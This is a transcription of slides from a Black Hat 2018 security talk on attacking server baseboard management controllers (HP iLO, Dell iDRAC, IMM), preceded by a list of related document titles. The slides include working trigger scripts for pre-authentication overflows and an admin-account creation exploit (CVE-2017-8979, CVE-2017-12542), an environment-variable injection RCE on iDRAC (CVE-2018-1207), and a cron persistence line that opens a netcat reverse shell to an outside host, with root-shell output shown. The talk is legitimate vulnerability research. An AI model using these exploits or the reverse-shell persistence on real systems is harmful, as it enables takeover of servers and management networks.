The unbearable lightness. of BMC. Blackhat 2018

Similar documents
The Unbearable Lightness of BMC. Immunity, Inc

Hello? It s Me, Your Not So Smart Device. We Need to Talk.

Attacking Next- Generation Firewalls

Automated Out-of-Band management with Ansible and Redfish

Security in Bomgar Remote Support

Security in the Privileged Remote Access Appliance

General Pr0ken File System

Preventing vulnerabilities in HANAbased MARCH TROOPERS SECURITY CONFERENCE

Configuring Communication Services

Quick Start Guide. Remote Console Manager

Out-of-Band Management

VULNERABILITY ADVISORY

Case Studies, Lessons Learned. Ing. Tijl Deneut Lecturer Applied Computer Sciences Howest Researcher XiaK, Ghent University

HP ilo 3 Release Notes

Dell SupportAssist Version 1.2 for Servers User s Guide

Securely manage data center and network equipment from anywhere in the world.

Infecting the Embedded Supply Chain

Quick Start Guide. 8-Port Value-Line Console Server QS Guide LES1508A

Intelligent Console Servers and Power Management

Securing Active Directory Administration

Hackveda Training - Ethical Hacking, Networking & Security

Scalable Platform Management Forum. Forum Status 10/30/2014

Side-by-side comparison of the features of Dell EMC idrac9 and idrac8

My other computer is YOURS!

Penetration Testing with Kali Linux

RESTful Server Configuration with idrac RESTful API

Actual4Test. Actual4test - actual test exam dumps-pass for IT exams

BMC User Guide. May 2018

Quick Start Guide. Remote Console Manager Quick Start Guide

Introduction to Intelligent Platform Management Interface (IPMI)

Umbra. Embedded Web Security through Application-Layer Firewalls. 1st Workshop on the Security of Cyber-Physical Systems 22 September 2015

COMPLETE AGENT-FREE MANAGEMENT OF POWEREDGE SERVERS

Exam4Free. Free valid exam questions and answers for certification exam prep

Remote Console Manager with GSM Modem QS Guide

Quick Start Guide LES1308A, LES1316A LES1332A, LES1348A. Securely manage data center and network equipment from anywhere in the world.

Web Application Security Payloads. Andrés Riancho SecTor 2010, Toronto, Canada.

ISA564 SECURITY LAB. Code Injection Attacks

Managing VMware ESXi in the Datacenter. Dwarakanath P Rao Sr Partner consultant 6 th November 2008

One-Click to OWA Track 3. William Martin

OEM FRU TECHNICAL WHITE PAPER

Do Containers Enhance Application Level Security? Benjy Portnoy, CISA, CISSP

Dell Server Management Pack Suite Version 6.3 for Microsoft System Center Operations Manager Installation Guide

Firmware in the datacenter: Goodbye PXE and IPMI. Welcome HTTP Boot and Redfish!

Module 1: Penetration Testing Planning and Scoping. Module 2: Basic Usage of Linux and its services

RiskSense Attack Surface Validation for Web Applications

YANG Device Profile for Redfish Network Management. Joe White, David Black, John Leung Distributed Management Task Force

Click Studios. Passwordstate. Password Discovery, Reset and Validation. Requirements

Leveraging CVE for ASLR Bypass & RCE. Gal De Leon & Nadav Markus

AST2500 ibmc Configuration Guide

McAfee Certified Assessment Specialist Network

WatchGuard AP - Remote Code Execution

Case Study: Seagate s OpenStack Swift Security

INF5290 Ethical Hacking. Lecture 3: Network reconnaissance, port scanning. Universitetet i Oslo Laszlo Erdödi

Title: Multiple Remote Command Execution vulnerabilities on Avaya Intuity Audix LX (plus some client-side bugs)

Man In The Middle Project completed by: John Ouimet and Kyle Newman

Introducing Microsoft s commitment to interoperability (Office, Windows, and SQL)

Securely manage data center and network equipment from anywhere in the world.

McAfee Network Security Platform

Going Without CPU Patches on Oracle E-Business Suite 11i?

Exam Questions MA0-150

Unix, History

SMI-S Over WS-Management: A Progress Report

12 th January MWR InfoSecurity Security Advisory. WebSphere MQ xcsgetmem Heap Overflow Vulnerability. Contents

VRTX Chassis Alert Management Techniques

CounterACT 7.0 Single CounterACT Appliance

Vulnerability Validation Tutorial

Click Studios. Passwordstate. Password Discovery, Reset and Validation. Requirements

Intrusion Detection. Vincent Brillault. October CERN (European Organization for Nuclear Research)

Intel Active Management Technology Overview

The Balabit s Privileged Session Management 5 F5 Azure Reference Guide

Orchestration Ownage: Exploiting Container-Centric Datacenter Platforms

TexSaw Penetration Te st in g

Intel Server Management

Using Ansible and Redfish to automate systems management. Jose Delarosa May 9, 2018

Once all of the features of Intel Active Management Technology (Intel

Ethical Hacking and Countermeasures: Web Applications, Second Edition. Chapter 3 Web Application Vulnerabilities

Device Vulnerabilities in the Connected Home: Uncovering Remote Code Execution and More

Application security : going quicker

Junos OS Release 12.1X47 Feature Guide

ECE 471 Embedded Systems Lecture 22

Port Mirroring in CounterACT. CounterACT Technical Note

Redfish API Reference Guide v1.0

Secure Software Development: Theory and Practice

Malware and Vulnerability Check Point. 1. Find Problems 2. Tell Vendors 3. Share with Community

Put something on the internet - Get hacked. Beyond Security 1

Compute Summit January 28 29, 2014 San Jose. Engineering Workshop

Dell Wyse Device Manager (WDM)

Snort Rules Classification and Interpretation

20: Exploits and Containment

IRL: Live Hacking Demos!

Security of Security. Cyber-Secure? Is Your Security. Mark Bonde Parallel Technologies. Wednesday, Dec. 5, :00 a.m. 11:00 a.m.

Dell EMC OpenManage Mobile. Version 3.0 User s Guide (Android)

Why bother? Default configurations Buffer overflows Authentication mechanisms Reverse engineering Questions?

Introduction to Penetration Testing: Part One. Eugene Davis UAH Information Security Club February 21, 2013

Specialized Security Services, Inc. REDUCE RISK WITH CONFIDENCE. s3security.com

Lecture 08 Control-flow Hijacking Defenses

PADDING ORACLE FOR THE MASSES

Pass4suresVCE. Pass4sures exam vce dumps for guaranteed success with high scores

Hack in the Box Trends and Tools. H D Moore

cconfig 0.1 Nico Schottelius (nico-linux-cconfig ((at)) schottelius.org)

Transcription:

The unbearable lightness of BMC Blackhat 2018 1

2

3

Welcome to a world of infinite hardware 4

5

6

7

8

9

10

11

WHO ARE WE? Nico Waisman VP LATAM @nicowaisman MATIAS SOLER SR SECURITY RESEARCHER @GNULER 12

B M Independent from the OS Remote Control Monitoring: Temperature Voltage Fans 13

14

15

B M Full Network Stack KVM Serial Console Power Management 16

(OR A Backdoor) 17

18

While your SERVER IS PLUGGED In your bmc is on 19

20

idrac IMM ILO 21

HP ILO 2 NEC v850 ThreadX 22

HP ILO 4 ARM GHS INTEGRITY 23

IMM/iDRAC SUPER H LINUX 24

PRE AUTH And remote... 25

The Excitement of Auditing bmc 26

27

ATTACK Surface 28

SMASH SNMP HTTPS IPMI OTHER TCP/22 UDP/161,162 TCP/80,443 UDP/623 Standalone WSMAN KVM VNC 29

SMASH Command line standardized for DTMF Runs over SSH Most of the attack surface is post-auth. However post-auth is still useful to triage/debug other attacks 30

SMASH 31

SMASH TEXTCONS ENABLES A REMOTE CONSOLE! :D 32

SMASH 33 https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/

SNMP $ snmpwalk -v1 -c public -m "./immalert.mib" 192.168.1.129 34

SNMP 35

IPMI BMC has an infamous protocol called IPMI UDP/623 Used to remotely manage BMC and access most of the capabilities Including the Serial Console over UDP 36

In 2013 the ITWorld magazine called IPMI the most dangerous protocol in the world... 37

IPMI Previous Work Authentication Bypass on Cipher Zero 1 RAKP Authentication debacle Predictable Session ID (1,2) Dan Farmer IPMI research (3) A Case of Weak Session-ID 2 3 38

HTTPS IPMI IPMI Zero Length Pool Overflow HP ILO 2 CVE-2017-8979 length = \ IPMI_Packet->Message_Length 6; mem = pool_block_allocate() memcpy(mem, source, length); 39

HTTPS IPMI Easy exploit to trigger on ILO2 < 2.32 buf = "0600ff07000000000000000000092018c88100388e04b5" mess= [int(buf[a:a+2], 16) for a in range(0,len(buf), 2)] p = 13 nm = mess[:p] + [0] + mess[p+1:] s = SendPacket(nm, sys.argv[1], IPMI_PORT) 40

HTTPS Interesting target PREFERED BY sysadmin & firewalls, OPEN BY DEFAULT Most of them use popular embedded webs server: Appweb However some vendors implement their own server 41

HTTPS Discovering BMCs URL/xmldata?item=all (on HP ILO) URL/cgi-bin/discover (On DELL idrac) 42

HTTPS HP ILO 4 <2.53 CVE-2017-12542 sscanf( %*S %s ) Fabien PERIGAUD Alexandre GAZET Joffrey CZARNY from Synacktiv/Airbus 43

HTTPS Easy exploit to trigger on ILO4 < 2.53 exploit_trigger = {'Connection' : 'A'*29} accounts_url = 'https://%s/rest/v1/accountservice/accounts' response = requests.post(url, json=body, headers = exploit_trigger, verify = False) body = { 'UserName':username, 'Password':password, 'Oem':Oem } Oem = { 'Hp' : { 'LoginName' : username, 'Privileges': { 'LoginPriv' : True, 'RemoteConsolePriv': True, 'UserConfigPriv' : True, 'VirtualMediaPriv': True, 'iloconfigpriv':true, 'VirtualPowerAndResetPriv':True, } } } 44

HTTPS Environment Variable Injection leads to RCE idrac 8 CVE-2018-1207 $ curl 'https://x.x.x.x/cgi-bin/login?ld_debug=files' HTTP/1.1 503 Service Unavailable Keep-Alive: timeout=60, max=199 [...] 24986: file=/usr/lib/libfipsint.so.0.0.0 [0]; needed by /usr/local/cgi-bin/login [0] 24986: file=/usr/lib/libfipsint.so.0.0.0 [0]; generating link map 24986: dynamic: 0x295689e8 base: 0x29558000 size: 0x00010b24 24986: entry: 0x29558680 phdr: 0x29558034 phnum: 4 45

We know What you are thinking /proc/self/fd/0 46

HTTPS Environment Variable Injection leads to RCE The putfile CGI allow unauth users to store arbitrary content in a file Limited to 128kB File /tmp/sshpkauthupload.tmp 47

48

DEMO TIME! 49

HTTPS Opens the attack surface to another layer of attacks: Redfish RIBCL WS-MAN 50

HTTPS REDFish is a RESTful API created by DTMF after the IPMI fiasco Uses JSON to communicate Endpoints available at /redfish/v1/ 51

HTTPS 52

HTTPS RIBCL is an HP ILO solution for configuration and management using XML over HTTP The /RIBCL endpoint is accessible pre authentication RIBCL itself handles the authentication through the XML protocol 53

WSMAN Web Service Management Microsoft supports this natively (Win-RM) Similar syntax to XML but with certain variations (based on SOAP) Used extensively due to Powershell support 54

WSMAN Generally accessible through an HTTPS endpoint /wsman But could be found standalone on port tcp/5985 Auth: Basic Auth, Digest-Auth, Kerberos 55

56

WSMAN Preauth Stack-Based Buffer Overflow in Wsman XML Tag Name Parsing HP ILO 2 CVE-2017-8979 ROM:001108B4 movhi 0x1F, r0, r7 ROM:001108B8 movea 0xAE0, r7, r7 // "%[^:]:%s" ROM:001108BC addi 0x80, sp, r8 ROM:001108C0 addi 0xC0, sp, r9 ROM:001108C4 jarl sscanf, lp // sscanf(arg2, "%[^:]:%s", sp[0x80], sp[0xc0]) ROM:001108C8 cmp 2, r10 ROM:001108CA bz loc_1108e 57

WSMAN HTTPS Easy exploit to trigger on ILO2 < 2.32 import requests headers = {'Content-Type': 'application/soap+xml;charset=utf-8'} payload = "<x:" + "B" * 0x300 + ">\n</x>" r = requests.post('https://x.x.x.x/wsman', data=payload, verify=false, headers=headers) print r.text 58

WSMAN HTTPS Preauth Stack-Based Buffer Overflow in Wsman XMLns HP ILO 2 CVE-2017-8979 ROM:00110574 ROM:00110578 ROM:0011057C addi movhi movea 0, sp, r27 0x1F, r0, r7 0xAAC, r7, r7 //"xmlns:%[^=] ROM:00110580 mov r27, r8 // r8 = s27 = sp[0] = dst buffer ROM:00110582 jarl sscanf, lp // r6 buffer, r7 fmtstring, etc. ROM:00110586 cmp r0, r10 ROM:00110588 bnz loc_11058e 59

WSMAN HTTPS Easy exploit to trigger in ILO2 < 2.32 import requests headers = {'Content-Type': 'application/soap+xml;charset=utf-8'} payload = "<x xmlns:" + "B" * 0x24C + "=\"\">\n</x>" r = requests.post('https://x.x.x.x/wsman', data=payload, verify=false, headers=headers) print r.text 60

MULTI-DIMENSIONAL MOVEMENT Or how to move around the DMZ with impunity 61

62

63

#1 Hack the BMC 64

#2 Hack the server 65

BMC -> Server Serial Console Mount a remote DVD KVM (VNC, Custom protocol, etc) DMA 66

DEMO TIME! 67

#1 Hack the Server 68

#2 Hack the BMC Gain access to the management network from the internet 69

Server -> BMC On some BMCs, OS Tools are Unauthenticated Allow you to create users on the BMC Flash the Firmware Enable an emulated network, compromise it using one of our bugs. 70

Server -> BMC On some BMCs, OS Tools are Unauthenticated Allow you to create users on the BMC Flash the Firmware Enable an emulated network, compromise it using one of our bugs. 71

DEMO TIME! 72

73

DEMO TIME! 74

PERSISTENCE Like the 90 s kids 75

B M Flashing the firmware is easy, however it s signed. 1 hour 1 2 WEEKS 1 76

Hey 90s kid! you are old 77

List and check all the /dev/mmcblk0p14 on /flash/data2 type ext2 (rw,noatime,errors=continue) /dev/mmcblk0p13 on /mnt/cores type ext3 (rw,noatime,errors=continue,user_xattr,barrier=1,data=writeback) /dev/mmcblk0p12 on /mmc1 type ext3 (rw,noatime,errors=continue,user_xattr,barrier=1,data=ordered) /dev/mmcblk0p9 on /flash/pd9 type squashfs (ro,noatime) /dev/mmcblk0p11 on /flash/data0 type ext3 (rw,noatime,errors=continue,barrier=1,data=ordered) /dev/mmcblk0p15 on /mmc2 type ext3 (rw,noatime,errors=continue,barrier=1,data=ordered) tmpfs on /var/volatile type tmpfs (rw,relatime) mtd:lcl on /flash/data1 type jffs2 (rw,noatime) /dev/mmcblk0p9 on /flash/pd0 type squashfs (ro,noatime) 78

No shame on persisting through cron, Right? Right!? $ cd /var/spool/cron $ ls -lha drwxr-xr-x 2 root root drwxr-xr-x 3 root root lrwxrwxrwx 1 root root 31 Jul 27 2017. 27 Jul 27 2017.. 21 Jul 27 2017 crontabs -> /flash/data0/crontabs 79

Setting up a cron file $ ls -lha drwxr-xr-x 2 root root 1.0K Feb 22 19:11. drwxr-xr-x 19 root root 1.0K Dec 31 1999.. -rwxrwxrwx 1 root root 48 Feb 21 19:54 root $ cat root * * * * * /bin/nc 192.168.1.136 4040 -e /bin/sh 80

Getting a connect back! user@ilohop:~$ nc -v -l 4040 Listening on [0.0.0.0] (family 0, port 4040) Connection from [192.168.1.135] port 4040 [tcp/*] accepted (family 2, sport 59455) $ id uid=0(root) gid=0(root) groups=0(root) 81

DEMO TIME! 82

TODO A bunch of proprietary protocols to be analyzed Write Exploits for the HP ILO 2 More Research on DMA Analyze tools used to remotely manage BMC LOMs and NC-SI 83

CONCLUSION 84

85

Questions? 86

SHOUT OUT TO OUR AMAZING TEAM! (We are hiring) Mr R., Oren, ivan, juan, EMI, LEFF, BAS and DANNY @nicowaisman @gnuler 87